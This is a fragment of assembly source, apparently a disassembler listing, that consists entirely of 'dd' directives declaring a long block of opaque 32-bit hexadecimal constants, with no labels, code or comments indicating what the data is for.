		dd 0FCA1F4A1h, 6B1283D3h, 2000E597h, 2DE21966h,	92430648h
		dd 18FE2E28h, 7D428300h, 0F487C6ECh, 0DC5600AAh, 936FBE2Dh
		dd 723EC58Bh, 44ECD035h, 27117F00h, 0ECA4B09Dh,	93E90FB7h
		dd 0A241593Bh, 204B51C5h, 0B3007860h, 0E53AC06Bh, 0E8671914h
		dd 156D30CBh, 0E2A85F21h, 0A998D600h, 26DEDA73h, 870D392Bh
		dd 0D9659D81h, 0F84DA18Ah, 0C8000607h, 14A935A0h, 0ED7839Bh
		dd 3C7C7E05h, 64160017h, 182B993Fh, 0F0153100h,	0E082ED61h
		dd 3AE0CDh, 0C1725508h,	4612E2FAh, 0FCFDC400h, 3C71FB8Ah
		dd 0D9170E7Dh, 0E093110h, 0D073CC87h, 19794A08h, 0BD947401h
		dd 0D672CF23h, 6084D542h, 7DE91408h, 0F75C0047h, 51D49234h
		dd 0A42EDB8Fh, 5400C7B2h, 53C380Ah, 6D640960h, 9C005A59h
		dd 20C58D7Ch, 51B28501h, 0C95C33EBh, 80D8C0h, 3E3927FCh
		dd 85A24028h, 9D226100h, 98B5ABDAh, 0B830001Ah,	978356BDh
		dd 4900751Fh, 29BEC02Fh, 0EE6959Fh, 4BBA8437h, 6A088140h
		dd 48001D54h, 8CCDF50Ch, 7CB4355Dh, 3ED31DAEh, 0BA74C0BBh
		dd 362B355h, 0D8B24B31h, 0A340A951h, 13643607h,	0F5C1F7h
		dd 1D8BF46Ch, 4200B67Fh, 0C2C05020h, 80BE1454h,	0D0F867B2h
		dd 108ABF00h, 8353352Bh, 9AE09EBh, 0FC00304Ch, 0AB2D060Ch
		dd 22CBD00Bh, 42A80067h, 0E23C7EC4h, 297D0047h,	0BCDBDE97h
		dd 0AB003E60h, 0E0F522Bh, 1C6B019Eh, 2C4E7F16h,	8BB00BE3h
		dd 90952D85h, 92232ECCh, 0ABE11100h, 0C634846Ch, 48FE094Ah
		dd 0BF806980h, 390E8D8Eh, 2014E301h, 4C4962Fh, 0FEB76820h
		dd 0E0B094h, 0E7F209BEh, 0CF925266h, 0CBB021C0h, 0D2975F3Ch
		dd 0C701BE78h, 59BE16C1h, 0A052D880h, 0DA3C9E9Fh, 94899E8h
		dd 5CEA7C6Fh, 0C41FFB76h, 20C0F99Ch, 6B15BCA5h,	742648F1h
		dd 90D01C00h, 42122DCEh, 2B730B00h, 7CB77D6Dh, 84B100CBh
		dd 7127E9AFh, 0D13B52D6h, 62110015h, 0F6B9EF4Ch, 0EDAB0090h
		dd 2D92EAB6h, 0BC00247Ah, 0A937EB30h, 39F36398h, 25008B9Dh
		dd 0B29C600Ah, 115813Fh, 9C8DDBh, 6523A8D9h, 0DDF45Eh
		dd 95684BB0h, 0DA9A9D67h, 0D5EDE700h, 0FB666F83h, 0EA85F490h
		dd 0A18F0275h, 122E524Bh, 0EEDE9840h, 0CB2A430Ch, 0C61013h
		dd 3F3A5051h, 46947579h, 0D6F00960h, 915AE33h, 5F48E17Eh
		dd 5C41A890h, 2500E490h, 0C5D2679Bh, 13A7BD85h,	1D043336h
		dd 0BF02CF64h, 0EE259BC0h, 0A612605h, 0CFE51754h, 9F472D8h
		dd 48665CE0h, 28CBD024h, 39B87475h, 2E001281h, 0B3CA556Fh
		dd 0C40B45F8h, 723595Ah, 0D5F2AE44h, 60808E03h,	756CAA7h
		dd 99040080h, 0F406F5C5h
		dd 9B0A8B49h, 0D018D10Bh, 9A15C200h, 1725A50h, 4E7D0EA5h
		dd 0C093A1D8h, 9EEC83E9h, 0A2FAB306h, 0D01D1Eh,	0C7FFA3C0h
		dd 0D8084935h, 0EBDAFC00h, 57B524ABh, 233900B8h, 53B045D3h
		dd 81016C4Ah, 0D9A5C7ADh, 91CC8231h, 0A329173Fh, 0D0000E74h
		dd 9BAE4CE0h, 4E00D817h, 0FD3D0426h, 50BFB1A7h,	3B58886h
		dd 706D2375h, 97AF7983h, 0D8F8E011h, 8B13F1D7h,	0CF001D0Ah
		dd 78680E34h, 0A3190013h, 0F481DBB6h, 3FE69ED2h, 370747F4h
		dd 996DCAEEh, 6860803Bh, 77A192h, 4C637908h, 7BB987EDh
		dd 0D6153000h, 953FC10Fh, 40B30129h, 0A0D42849h, 27B04014h
		dd 8571DBADh, 7502B490h, 0C0DF1B88h, 0F502E1E6h, 2E8AECD4h
		dd 76CBA4Eh, 40102B41h,	0F3099BF6h, 0DCBCB83Ah,	7A720ED3h
		dd 31C98147h, 68605190h, 78AF0EFBh, 19A183CEh, 0E8966353h
		dd 0E3247470h, 0C900D13Fh, 0CAC18845h, 0DA6C0B18h, 402EDE48h
		dd 0D93C4300h, 42747A4Eh, 77DD7600h, 0BC146732h, 299A0626h
		dd 0B888C951h, 536D0F00h, 0E432F806h, 10BE6AAh,	0F0DF6855h
		dd 0E8612A86h, 300F7236h, 204D8502h, 0A332FA93h, 42CD3BE1h
		dd 7501433Ah, 54C8C163h, 0F089CDD3h, 28E87E62h,	0EC2D1E32h
		dd 30EB8056h, 1C70197Ah, 8E1C9A75h, 78E0DA9Ch, 73D41D7Dh
		dd 87CB3800h, 44D813E6h, 0EC789AB0h, 0FE010070h, 0C9D62923h
		dd 0A000CF43h, 2799D487h, 2AFF73A5h, 2480B5FBh,	1828490h
		dd 0CC96F6E2h, 3151FC27h, 3CB07A70h, 2A93B803h,	0F06A36BCh
		dd 0F3499Ch, 1B82AF55h,	0E75462FDh, 8D23D100h, 0DF0E109Eh
		dd 4C3F4C41h, 3EE4CD09h, 0BB09CC00h, 0AF127677h, 8409B8Eh
		dd 0FA68425Ah, 3062FA2Dh, 0BD1969DFh, 0E82874F3h, 6F00B884h
		dd 2562D31Dh, 4DA07A28h, 308074EDh, 9506843h, 0D8D16309h
		dd 0A0A38E12h, 88BC6454h, 900A7B6Ch, 0FF5035Ch,	0A0F0340Ch
		dd 0FA86DDB8h, 3BF0967Ah, 79D3331Fh, 0A72BA4C0h, 19E815h
		dd 0BCD09BCh, 0EEAAA9BFh, 2AF89100h, 9923FDFBh,	67D20025h
		dd 7EBC3BE7h, 0A23CF555h, 881A8243h, 8096E8E3h,	0C6DCD4E2h
		dd 47281E35h, 0B03980D7h, 0AF7E1C83h, 0AE931200h, 0C5DF4C4Eh
		dd 23D40E22h, 0E78077AAh, 8219D3A9h, 98F4100h, 276C6AC1h
		dd 0B0DA0B54h, 2820F50Bh, 294A6BD6h, 8180F300h,	550F2A9Ah
		dd 2CA1E21h, 75807FB5h,	423E6416h, 0B600445Dh, 0DAAAD4ADh
		dd 28B30F3h, 0E19FA5FAh, 0AC600518h, 3400336Eh,	9424D551h
		dd 0E8FBF912h, 63DA70A6h, 2109700Ah, 0AE240801h, 940FFA8Ah
		dd 0A0498005h, 2E629956h, 70A88C21h, 1B5BF05Ch,	0EA2301E7h
		dd 9E3EFCA0h, 0E12CCD01h, 0A807383h, 0BC5DE4h, 0C0E4F58h
		dd 0F3323799h, 7950F448h, 8D57F91Bh, 3E89E668h,	75DB39h
		dd 4D7D9434h, 2F3E1428h, 0E8712A00h, 8861A620h,	3F78C243h
		dd 4C807754h, 1FE4E6B4h, 0B6C8A600h, 1A2DE256h,	8C2E00A2h
		dd 65AD2A99h, 0BBE0244Dh, 0C85CBC00h, 1D200CC3h, 0E57F01B1h
		dd 0A640C127h, 0FE667025h, 0C2181900h, 0A08B1E14h, 0B5360E1Dh
		dd 25036D93h, 6E06210h,	900DB5Bh, 0D2804739h, 0C4AA0Bh
		dd 23950AB8h, 9CEC076Fh, 4E602A0Fh, 0F01CE039h,	0A0BBC555h
		dd 169BBDC6h, 743695h, 8B0BBC50h, 0EF00A507h, 0A196750h
		dd 15C93529h, 0B8D3AF09h, 0B244C800h, 3E8EF8E3h, 6C001575h
		dd 1C42BC22h, 7F3D21BDh, 92244851h, 0F8285C14h,	0F43DD02h
		dd 948202ACh, 24C8AB3Bh, 0BC14340Dh, 708A13Ah, 7247B206h
		dd 0B87CC083h, 336F62h,	92F0D78Ch, 59AE4317h, 0DC36D4A9h
		dd 0AC0FABD1h, 80970705h, 1E9A06C2h, 0F800331h,	2B709239h
		dd 664E8CA0h, 8D96DC07h, 0D5801F04h, 161E2Ah, 0DCF0842h
		dd 4CA41CF4h, 3A027EE8h, 81D2F559h, 92ECA01Eh, 0C478AD1Fh
		dd 80A4A379h, 9E356C4Eh, 28D4F601h, 99E9AEBCh, 2A50CCh
		dd 0F24188A6h, 7FD19244h, 0B4231800h, 62E27120h, 74D3394Dh
		dd 4E2CCE03h, 0A1E89CC8h, 3C010735h, 37CA1440h,	95E177F8h
		dd 1C6690D3h, 75360085h, 0DA033E7Fh, 0D80F3B5Dh, 0F9AB3h
		dd 0C9703392h, 0FAF00246h, 0F7B8E30Eh, 1AE493C0h, 0A08CC303h
		dd 0F0463E75h, 685A93h,	7F45671Fh, 8C3262A8h, 540038F2h
		dd 16FB9556h, 0FC85CFE3h, 2DF67B28h, 76D477B4h,	0C31FC000h
		dd 1DFCE136h, 3CE9F41h,	0A7DD2F48h, 19E727F0h, 0BD0062F4h
		dd 2803F6B8h, 75C253E4h, 0C4A7076Ah, 0C093744Bh, 494E337Ah
		dd 6BB0840Fh, 3A056037h, 863BC0h, 2DD2C366h, 7BE4C4CEh
		dd 8B8D5307h, 5C51A027h, 0A9F06176h, 0D4361669h, 5EE50057h
		dd 0C4C1509h, 85D35600h, 0A8904D9Ch, 0C6CE088h,	0D234BD25h
		dd 4ADD319h, 6DB7E61h, 0BCAD1080h, 5A0D0BF1h, 26F33Eh
		dd 41A6FE63h, 76711EC9h, 0D31F06E6h, 29EB89ACh,	4473C742h
		dd 0A744A24Eh, 0ABDD44E4h, 75C52284h, 22905E22h, 9F42E62Bh
		dd 2173F711h, 0E2681EDAh, 22192322h, 76424980h,	0F7124473h
		dd 770428A0h, 38087289h, 0A0DB0C44h, 887DDF14h,	0B388976Eh
		dd 274F88EEh, 89718988h, 4402086Ah, 0F2885301h,	0FA360010h
		dd 0E808CABAh, 5273C5D8h, 0F1C0C800h, 0CD3207B3h, 35E4AFh
		dd 0E21B68B6h, 0F28F9C59h, 9205D400h, 94AF719Bh, 17B53919h
		dd 0F13D3Fh, 0E476953Fh, 505B8D51h, 331AF21Ch, 40B0DF40h
		dd 0B86BFCh, 0B93E10BFh, 722377A7h, 0E5F0A501h,	0F5FF3920h
		dd 0A6C0FAD1h, 0B67BD7h, 0F22640BDh, 97333107h,	63C4BA00h
		dd 0DCAD58D6h, 3788073Dh, 0F02344DEh, 4A1A4DCFh, 7EE17B00h
		dd 297A4286h, 0FAE080ACh, 0C0144F8h, 0C3B5FEC7h, 3420848Fh
		dd 5F160341h, 0E2123D53h, 8DE5880h, 98C7FF00h, 3BA6379Bh
		dd 68ED00ECh, 0CE48FEF5h, 18007A29h, 3F9D2028h,	0CD70BA9h
		dd 0FFBDF8A6h, 8600C520h, 7499A51Ch, 1CDB0123h,	0C0D9FB3Dh
		dd 0C6F2B3CAh, 58018DABh, 6DE783BCh, 2AD42BD0h,	0BED33ADBh
		dd 0AC49483Ch, 31114B0Eh, 20803E0Bh, 0EA8A2CACh, 505AC61Dh
		dd 0C5887240h, 17B432h,	0A962BAA2h, 2C144E19h, 4C259800h
		dd 6912E148h, 2E7B07E9h, 77F4056Ch, 0DFAF80DEh,	41007A50h
		dd 43F07318h, 590B60h, 32839248h, 9F42C11Fh, 0A4B9F40Bh
		dd 0C273001Dh, 38366B10h, 1CFC4D03h, 0C08AE4D5h, 0EFC7D6E0h
		dd 54022038h, 0FA3BC51Ah, 0CDE440B8h, 49230034h, 0A7F53E35h
		dd 5E001913h, 0EC7C02A5h, 0FF4B0Fh, 79F17488h, 2796A171h
		dd 0CBB84600h, 0AE486929h, 427E02DEh, 0D478CCB0h, 58005743h
		dd 0AF3BC93Fh, 50498A47h, 0B3CB8Fh, 7EDFA31Ah, 994F12A5h
		dd 0D79D3C00h, 687C8C36h, 5C6901D1h, 5D8271D5h,	0B288411Bh
		dd 0D054C4F5h, 0C89B7C00h, 672EB8D7h, 3FFE2803h, 438B03F0h
		dd 3E9176CFh, 0EA421001h, 214A8E29h, 479C7800h,	527EA400h
		dd 0A95C7010h, 6180324h, 0BD9D1FD4h, 0A9270CFh,	371D831Dh
		dd 0F4423E41h, 0A022CC89h, 0EC474EF4h, 0E5B25C95h, 635EE300h
		dd 0C8041245h, 4DEDAC00h, 5AD0301Dh, 33BB005Fh,	8B397988h
		dd 42000B8Eh, 0CABD06E8h, 7268018h, 48FAA837h, 0D408F0C2h
		dd 607B2849h, 0ECD7DC00h, 8B87F01Fh, 357E00CAh,	0A050B9E2h
		dd 0BA00AFEBh, 77176D2Fh, 4849DCC2h, 8D005C2Ch,	0C171B13Eh
		dd 1A04B555h, 96D3EF5Fh, 28721080h, 0BCE3124Bh,	610C0076h
		dd 0F415CF86h, 85792503h, 1E089B9Dh, 0C05C06D0h, 0B7E9FE8Fh
		dd 98056140h, 26B4AC5Ah, 20CF1480h, 46C23A03h, 0A94151Fh
		dd 3E4BEE7h, 3C0EADC0h
		dd 0DD2EC803h, 98928529h, 0B07BAF4Fh, 0AD3E0042h, 0A9C627F3h
		dd 9E0A8AE5h, 0AC6BBDBFh, 0B8AC003Fh, 5B360294h, 0A4710BD8h
		dd 0F18004B6h, 2D6828B1h, 9500F87Ch, 17EA3D10h,	0E8BC093h
		dd 3BBD8E82h, 0EC460F60h, 0B67F9E0Ah, 453AFD00h, 0A27A411Ah
		dd 55640005h, 0B2247503h, 0E71CD3F2h, 47C0E1AEh, 9DB4BA2Bh
		dd 0D4A41311h, 490C0022h, 971F79D9h, 80593300h,	5737F654h
		dd 87810C34h, 6E102F5Fh, 8436C400h, 98D3A38Ah, 0CBA0019h
		dd 4AD76B60h, 0BB89E2Eh, 0A30AE209h, 0B8F200F9h, 0BA7011h
		dd 0C11325ADh, 463A19E0h, 9000A9EAh, 0A85CED95h, 7D151C34h
		dd 57390059h, 0D0C9F1Eh, 58383678h, 21200073h, 5BDEB946h
		dd 0AE00037h, 290C7768h, 0C80ED951h, 0F853065Eh, 7F49E7B0h
		dd 93160362h, 55613AA1h, 27D5EBE8h, 3FF7E8A0h, 0DF7B7001h
		dd 7D4D6A4Ah, 1D16D4h, 64A518ADh, 3410CA4h, 0DAF1B200h
		dd 86E7316Ah, 445C0393h, 3F19C496h, 49EDA188h, 24D7F604h
		dd 401DC9F3h, 10034CBBh, 9E59D222h, 792D0030h, 353F144Fh
		dd 89B30094h, 75B4C690h, 2200BC39h, 7DDA086Bh, 8F3F9Eh
		dd 0CB2CFDC7h, 60A013C8h, 0E1347707h, 3DF09FA5h, 3EDFEDDCh
		dd 0F983366Ah, 0D88476C7h, 8F561000h, 2C864AFBh, 0C1FF00F4h
		dd 0E5386395h, 33004347h, 6E3F6DE9h, 16ADE27h, 0FD4EF91Fh
		dd 744FDA91h, 761C726Ch, 2A058CDDh, 3888FF55h, 0C94A24B9h
		dd 0F7803FB8h, 871C2D64h, 0FF2A39Dh, 0D0BAFD03h, 0F8A465DEh
		dd 2364Eh, 19A20672h, 6676D108h, 0FC39CCA0h, 0FD00E573h
		dd 0E2CE49E4h, 13354028h, 90158Eh, 591DF844h, 0AA26F731h
		dd 0F50EA4C3h, 0E1D1802Eh, 493BE0h, 0AFF3EC97h,	1FC3B6FBh
		dd 40088F4h, 37CC8406h,	0A64D4E4h, 0D55FB783h, 0E72F00C8h
		dd 65C4888Dh, 0A5000E76h, 477351E1h, 3E1981DAh,	0DC80755Fh
		dd 531FC5E9h, 0D103CB43h, 36D6C11Ch, 95998E1h, 6EFE00E7h
		dd 0BC8E698Fh, 1E015FD1h, 65F73260h, 0F83080ADh, 63B60025h
		dd 0F8AA3059h, 300B9BEh, 47647F8Ah, 3C9E50C9h, 24003812h
		dd 0B8213DFh, 15744531h, 0BCE56300h, 0FD7B21C8h, 164A4801h
		dd 0B020090Eh, 6F315E0h, 0EC00E68Fh, 0B58C7F8Dh, 2F6195Fh
		dd 1B149626h, 0E0807056h, 639BC73Bh, 38FA8300h,	0FF8B5575h
		dd 8225001Eh, 2CCC0DF0h, 2802B644h, 7BAAB32Bh, 4DE38032h
		dd 5002645Dh, 1048869h,	0C984F37Fh, 0AC499448h,	6C0FAB58h
		dd 6840D270h, 47196534h, 0A89948FBh, 81863E00h,	5A491CAEh
		dd 44CD7D00h, 4B7E2AF8h, 94253C14h, 95F43180h, 0B49B91Ah
		dd 63064F00h, 0AAC98D0Ch, 36661C94h, 40519F7Ch,	0A3D14254h
		dd 0AEEC10BAh, 0C3C84809h, 0CC0820C4h, 1A61E0Ah, 0D5DFDD66h
		dd 0E97C26C1h, 0DCE06524h, 39009311h, 7E790231h, 0F270D58Fh
		dd 0BB08E79Eh, 0D134F802h, 0A04199ECh, 0C7C331E0h, 87F450h
		dd 226DF9BCh, 1977ABA5h, 0E7376100h, 0C654F75Ah, 9CD000D3h
		dd 6AA5C3E4h, 5128B0AEh, 222C841Eh, 3743D0D6h, 0B658009Fh
		dd 7A57010Ch, 6D0211C4h, 2F8A7319h, 0D23440CEh,	712A013Bh
		dd 3F854675h, 3900EF2Dh, 12B5E4F9h, 0A09A0CAAh,	1329B90h
		dd 0B819265Dh, 306F16BEh, 94A8E424h, 0FF10097Eh, 5904C286h
		dd 0A05BD6F1h, 0B901C938h, 7F3A49A2h, 470C021h,	0BC6C0413h
		dd 0C0DD12B6h, 82F9021Ch, 1901858h, 9A3B7317h, 0C73176C2h
		dd 21CFCCCh, 0B53F6308h, 9496CB98h, 0C999A800h,	933C512Fh
		dd 9289010Bh, 0BC4EDF2Eh, 5F502075h, 0D254617h,	3C226C0Fh
		dd 13E4CF80h, 0E790C9h,	7F2194EDh, 928B7689h, 56DA700h
		dd 0C0CA8E7Dh, 25B4A50h, 5DE7AFE0h, 14946060h, 3B6CEC07h
		dd 51A2DEA6h, 0CF02E097h, 66E6E11h, 0AFBA6A00h,	2900C0C2h
		dd 5F2E3745h, 3F473263h, 693D0759h, 0ED164C48h,	152C00D1h
		dd 0F91CA950h, 0D64DD401h, 630F90B9h, 1669F4D8h, 2087162Eh
		dd 3B0D1804h, 85742307h, 0E1B0CE3Ch, 24A6A060h,	8051F1B3h
		dd 980AA934h, 9F005E0Fh, 2D4C1705h, 0B8BF28BBh,	0C14D2CDBh
		dd 364400FCh, 0A7F6E0A2h, 180BF824h, 5E0E1900h,	3EDC5F04h
		dd 2A9EB9FFh, 8B86C18Ch, 40954A25h, 7B157DB0h, 0E01DA680h
		dd 61D8004Eh, 6DB16B1Ch, 5D00B8B9h, 1E921B5Bh, 90CE4D62h
		dd 0CB133A85h, 0A2A850h, 9490F836h, 6D01E7A5h, 0CC0E484Ah
		dd 0A0180BF1h, 8A689D54h, 0DD633A70h, 28241A00h, 0C85475A8h
		dd 42F3B3Eh, 0F351ECADh, 3724F490h, 5E7A44A7h, 0F8385C07h
		dd 9FB0BACAh, 243FE9FBh, 800C6FBBh, 0E43C7623h,	49122454h
		dd 0E8C0508Eh, 0C81A360h, 7A7793A0h, 6900F680h,	0D0AB1D32h
		dd 0C9DB29h, 22443EC1h,	0BFDECCBAh, 1E53A409h, 0BB5C8043h
		dd 1265482Dh, 0B2BCD4h,	8F182E35h, 0E125EC15h, 75F48058h
		dd 48782Bh, 18ED6CBAh, 0D6DADDF0h, 0E84DBAC1h, 7C340F73h
		dd 226A0221h, 0D425E7C4h, 6B2CCA00h, 63400DEh, 0A50ED065h
		dd 503C5DFh, 2EE574F7h,	0EE478001h, 306F01FFh, 0D733D5B8h
		dd 0CC1C60C9h, 75A69007h, 85A7BEC0h, 0B16147D0h, 74B06Fh
		dd 0E4E0945Eh, 0A15417E7h, 57CF7709h, 69F000DFh, 1C9E8461h
		dd 80AE5A2Ah, 0CBA3B248h, 411DB1B8h, 1DC04021h,	0DA2860Ch
		dd 720B00ECh, 428F22Eh,	3000724h, 3D31C10Ah, 3D7086A9h
		dd 0A5C02C0Ch, 475AC611h, 0F01BF200h, 71935BCAh, 964B200Eh
		dd 1688F558h, 2C0003FCh, 11904A3Ah, 31B60072h, 5027F3ABh
		dd 9098A969h, 0DD17E500h, 95C30F3Ah, 249AFC8Fh,	0F03102h
		dd 0AE89E68Dh, 0F61CE26Ah, 2180BFA5h, 0D4E3D09h, 0C9E430A8h
		dd 0C5F418F0h, 14C6DF00h, 0BD37947Dh, 18B2F2AEh, 0B153CF8Fh
		dd 622ACB8Bh, 463EEC1Ch, 74AF140Ch, 0FC27B0h, 0C5ADD598h
		dd 75A2008Ah, 0F67D7236h, 334A73B8h, 10EC0EC5h,	255C0800h
		dd 0FBFCD7ADh, 0F5F05E00h, 0B447D4C6h, 0B959008Fh, 0C2B56E12h
		dd 0DCB88071h, 41480403h, 16831BC7h, 0A8C310h, 821E21B4h
		dd 944837E7h, 48D30B28h, 11AC901Ch, 3DD81675h, 3F803E5h
		dd 100074EFh, 7FC1A9AAh, 35B1AEDh, 0BFB86AE9h, 0A7D81F46h
		dd 0BE004E32h, 29AB6C9Fh, 30E780F8h, 3F618F2Eh,	83007294h
		dd 0BA16F3FEh, 3F1EF624h, 81005D9Ch, 0C8030A7h,	0D01FE12h
		dd 0FC38B9D7h, 45D88EC5h, 0ADF50057h, 94E16CABh, 0E90007C3h
		dd 1C6A62A8h, 57B374h, 0D3BA3473h, 53FDF601h, 997B6903h
		dd 0E8B8FFDAh, 0B41435h, 924EB908h, 534B23F7h, 31D88000h
		dd 9613CD4Ch, 87F63Dh, 75A53825h, 0D4D61E33h, 0FE758398h
		dd 5279CB00h, 0BB48C1ABh, 9A5D007Ch, 0EC4BF75Ch, 0F5003AB0h
		dd 9723748Eh, 83121Fh, 13D716DEh, 76ED8C47h, 24AF4Ch, 48CE440Eh
		dd 1B2C82h, 1EEFCACFh, 2ABBD6ACh, 4659B900h, 0F96D0EAAh
		dd 0FD3500D9h, 0A03C6F88h, 0AB00AC8Bh, 80B8E482h, 1FC57BA1h
		dd 0C05513D9h, 0EFFE8AE0h, 0DA03F6B3h, 115860C0h, 0DEC6C1E6h
		dd 503E4B70h, 1D5A8513h, 47D8EBB6h, 0C08C739Ch,	3FDB727Bh
		dd 58E9C900h, 7A9D2678h, 0B048090Fh, 0F900AFEDh, 0E8620531h
		dd 0D44D9600h, 0B5D0068Dh, 6F4400E4h, 6B09FDF0h, 0C53ACD95h
		dd 4349801Fh, 90D9480Eh, 47380055h, 3D0FBAC2h, 5438ED3Fh
		dd 0B5BD8CC5h, 0FA9E0D8h, 1DA310Eh, 214FA1C2h, 411CF480h
		dd 69004615h, 0E1D5FB6Ah, 7487B55h, 0CF23989Eh,	51A26313h
		dd 64830CE0h, 1A394500h, 0C5530A0Eh, 52980090h,	4E516BEDh
		dd 7500D143h
		dd 0D61C7F60h, 0A8149Bh, 0DB674661h, 0E56E81D5h, 8522FE0Dh
		dd 7FC458CCh, 0E9DF0034h, 0ABF60605h, 8000C64Dh, 679009A3h
		dd 7BFBCA0h, 3FB6F452h,	2001F9CAh, 0FCC39636h, 0FEE41EC5h
		dd 0F762D31Dh, 9EAF78C0h, 0D76BB6h, 0AA5A0AF2h,	0B17D1C5Bh
		dd 0EC107C00h, 94A1D38Dh, 0C91700A9h, 63B2A036h, 0D540F17Eh
		dd 0D60C02ACh, 7844D7AEh, 0EA2390A0h, 9D000352h, 0DAE97C02h
		dd 854F99h, 6BB02915h, 19948C6Dh, 25EEFF0Eh, 5846E714h
		dd 68F5DBF0h, 9A4D0EBCh, 0C03CC93Dh, 34FD2326h,	35007E48h
		dd 0D15A47DAh, 0FC5FBBCh, 2686B3F6h, 99455800h,	0F000DE23h
		dd 0E4FE491Eh, 328313Bh, 551C0D5Fh, 6AA82FC5h, 0EE0741DCh
		dd 0EFDAC21h, 7F5D5E80h, 0A14B034Ch, 0D43FD0CBh, 37FFF888h
		dd 0A9F0300Fh, 7B68E003h, 1526FB3h, 0C3D63872h,	0EC6DAB2Fh
		dd 0E500FC28h, 8555D247h, 67FF6ACh, 18860FBBh, 0D0717813h
		dd 7939C5Ch, 0FE70D4C4h, 66E0FBF1h, 744420h, 96D9FC29h
		dd 573C26E5h, 6F9E2F00h, 53272D5Dh, 0F7B30E1h, 5B164728h
		dd 0EAB4CA07h, 6240F0EDh, 26A23Ch, 80B01450h, 0CC5AE533h
		dd 57B5575h, 1F688148h,	0E2C01A32h, 3621BC4Eh, 163F0093h
		dd 8842A38Bh, 0E01DF451h, 49FAE15h, 0B632F742h,	0C88048B9h
		dd 7B6306C5h, 20DAB3B0h, 6B01AB78h, 4DD7124Fh, 62C15B4Bh
		dd 0B63D9040h, 9C7E010Fh, 49DD7AAEh, 5CD6ECC1h,	0A4430E00h
		dd 4F6682ECh, 95FF0040h, 4B2C6FE0h, 6224EF88h, 0FA8C54A5h
		dd 712288A1h, 0B81207BBh, 0F00929E1h, 504AB39Ch, 6F774400h
		dd 0DF045FB5h, 3B4C03C8h, 0DD96D6E2h, 326D6088h, 3372AE18h
		dd 4867BA90h, 267D54C3h, 4C74EBC7h, 82007A90h, 0B4B7D234h
		dd 0FCC6E0C4h, 0C7620E5Fh, 0E13076Bh, 25E06AF5h, 2275F890h
		dd 54CEDA3Fh, 1A003C94h, 3D648BEh, 45C6CB5h, 0BB3A2C81h
		dd 68EB00B9h, 98D625A1h, 0E5C4817Ch, 1A0853Ah, 32DE8B6Ch
		dd 2B9DE005h, 9A11BB00h, 52EFC5AFh, 2F71F12h, 471C0071h
		dd 1A6F9C51h, 1407C490h, 0AE54588Ah, 0A8DEF7C0h, 9ADCF80Fh
		dd 8675215Ch, 6915CE42h, 2CFCB21Ch, 11D39F1h, 3444E26h
		dd 0CE7CC2DEh, 1E682000h, 24423E84h, 6D1C0072h,	7B4E1A57h
		dd 3F00BB0Eh, 69E52799h, 2E5576h, 0E6AE4166h, 24A059FAh
		dd 0CA60E9E4h, 6C9BD131h, 52BC8Ah, 0E1830D34h, 2C07FAC2h
		dd 364770B0h, 1AB93000h, 0FDE60912h, 5400560Ch,	2357B6DFh
		dd 0F86CA700h, 0C96415AAh, 0E6F400D7h, 0D4F6FF16h, 3D745312h
		dd 8007D2F6h, 75EDA244h, 0F24A74A0h, 2F9600DCh,	9D47EF3h
		dd 4B1EDA82h, 974505CDh, 0E8003CA4h, 62EBBF12h,	0A6A9000Bh
		dd 31E6800Fh, 0FD00C31Eh, 0BA40165Fh, 0A089F1EFh, 25DE4h
		dd 887C24B1h, 940D0F43h, 1E847D00h, 11CBCEBCh, 0FFA55191h
		dd 0CA556043h, 0F098CC38h, 0AB6A0531h, 80D03712h, 8CF27B42h
		dd 1CF45626h, 23464F0Eh, 1F5F9ECh, 0D5250210h, 3077C69Ch
		dd 0E744B624h, 0B39A2C60h, 28F91375h, 2A0528B8h, 3FD9D190h
		dd 1B89B400h, 747F93h, 0E04569Ch, 9047A53Bh, 39C84304h
		dd 12C161A1h, 0DE80811Dh, 0C01BDC82h, 67007264h, 77730726h
		dd 89EA94h, 0B520FE25h,	492A1683h, 225E4103h, 31F6D8h
		dd 38516444h, 0A75D8EB2h, 1332C409h, 0CB0003Ah,	1CFF7FAh
		dd 0F0E79CC6h, 0F8DCEB59h, 7000954h, 37A6DE6Ch,	0FA02BEF4h
		dd 3DD2E047h, 3D002D0Ch, 6D713873h, 6002AF41h, 0CBD53CD1h
		dd 0D4CCE8C1h, 0C98E008Ah, 478473B7h, 0DB00F5B4h, 9AC75F63h
		dd 0C0B15Ah, 995E0990h,	15697824h, 736C5858h, 85B33000h
		dd 7AA12996h, 384B892h,	0D5757755h, 0E2B8DFF9h,	0B1019086h
		dd 0F0317CD9h, 97D81FDAh, 6434003Eh, 0FCC7E581h, 2E006269h
		dd 20068F82h, 321A3D6h,	2659A0EEh, 0F0F08C3Bh, 2D017B54h
		dd 7A28694h, 9C74E0D4h,	305B6085h, 0BE277EF4h, 76C3920Bh
		dd 0E57C80B9h, 9889F5Ch, 39CDDF17h, 0C06F38A7h,	630B9D5h
		dd 0BB938405h, 0BF01AB77h, 7C4A880Ch, 0CB3FD477h, 9100A0ACh
		dd 2385053Fh, 0B0D04F94h, 6C4B55h, 9B227B65h, 0CAC7E044h
		dd 50D6CD1Ch, 0C6742040h, 50774D91h, 0EEFB4D4h,	29826A42h
		dd 0BE7A5460h, 0BF0BAC08h, 4B764Fh, 9AD560A0h, 553C3144h
		dd 0AF8578h, 92F2F1BCh,	0F2BAE8A8h, 5EBE0187h, 2FDE0B68h
		dd 579730D6h, 21E41400h, 0F2AE8A4Fh, 0C09A84h, 4375C612h
		dd 0DFB63459h, 8B09C98h, 5E109300h, 0E812D9F3h,	9E7600A9h
		dd 1F4E4CDEh, 0C17B02CDh, 10DBCB01h, 0E9A38DC2h, 14BD0630h
		dd 89E77B79h, 0A65F6000h, 0B966BA3Fh, 3D774700h, 2E096941h
		dd 0F8D900F7h, 1CF172BCh, 4500163Ah, 0C214747Eh, 98917D5Fh
		dd 61840034h, 9D60C6CDh, 7800E728h, 6FB1A07Eh, 9ED3F8h
		dd 9B63AC1Ch, 8442508Fh, 4C7DB702h, 816B0B7Eh, 17A6E1A9h
		dd 98193F30h, 217A0020h, 3BA9BB07h, 37009929h, 2C88AA61h
		dd 0CAC11Dh, 0EEF7C5CFh, 5887C034h, 0BBCE490Eh,	5F11A07Bh
		dd 1C12E126h, 0E8F32EB0h, 0E63B16CDh, 0E0800DD6h, 801C23BEh
		dd 3592738Fh, 4385010Bh, 5F0AEDA5h, 0C3C2491h, 8A7AAEEEh
		dd 97277600h, 1DB27D38h, 0FC590051h, 9A674668h,	5B00C0E2h
		dd 36ED3E9h, 1EA76A45h,	49DE4796h, 0E8004372h, 0CCF48154h
